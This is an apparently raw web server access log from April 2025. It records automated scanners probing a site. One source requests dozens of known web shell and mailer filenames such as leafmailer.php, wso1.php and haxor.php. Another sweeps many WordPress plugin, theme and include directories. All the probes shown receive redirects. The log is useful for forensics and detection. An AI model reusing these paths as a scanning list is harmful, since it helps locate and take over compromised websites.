-0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:45 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:50 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:54 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:00 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:05 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:10 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:21 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:27 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:34 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:41 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:47 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:52 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:30:57 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:03 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:07 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:11 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:16 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:20 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:23 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:29 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:33 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:38 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:44 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:31:50 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 43.135.130.202 - - [15/Apr/2025:12:11:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.222.253.13 - - [15/Apr/2025:14:21:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 103.235.174.21 - - [15/Apr/2025:14:26:22 -0400] "GET /ucms/img/loading.gif HTTP/1.1" 301 795 "http://designpitara.com/ucms/img/loading.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 52.184.180.195 - - [15/Apr/2025:14:46:04 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:06 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:06 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:07 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:07 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:08 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:08 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:09 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:09 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:10 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:10 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:11 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:12 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:13 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:14 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:14 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:15 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:16 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:16 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:17 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:17 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:18 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:18 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:19 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:20 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:20 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:21 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:22 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:23 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:24 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:25 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:26 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:27 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:28 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:28 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:29 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:29 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:30 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:30 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:31 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:31 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:32 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:32 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:33 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:33 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:34 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:34 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:34 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:35 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:35 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:36 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:36 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:37 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:37 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:38 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:38 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:39 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:39 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:40 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:40 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:41 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:41 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:41 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:42 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:43 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:43 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:44 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:44 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:45 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:45 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:45 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:46 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:46 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:46 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:47 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:47 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:48 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:48 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:49 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:49 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:50 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:50 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:51 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:51 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:52 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:52 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:53 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:54 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:54 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:55 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:55 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:56 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:56 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:57 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:57 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:58 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:58 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:58 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:46:59 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:00 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:00 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:00 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:01 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:02 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:02 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:02 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:03 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:04 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:05 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:06 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:06 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:06 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:07 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:07 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:08 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:08 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:09 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:09 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:11 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:12 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:13 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:14 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:15 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:15 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:16 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:17 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:17 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:17 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:18 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:19 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:19 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:20 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:20 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:21 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:22 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:22 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:23 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:23 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:24 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:24 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:24 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:25 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:26 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:26 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:27 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:27 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:28 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:29 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:29 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:30 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:30 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:31 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:31 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:32 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:32 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:32 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:33 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:33 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:34 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:35 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:36 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:37 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:38 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:39 -0400] "GET 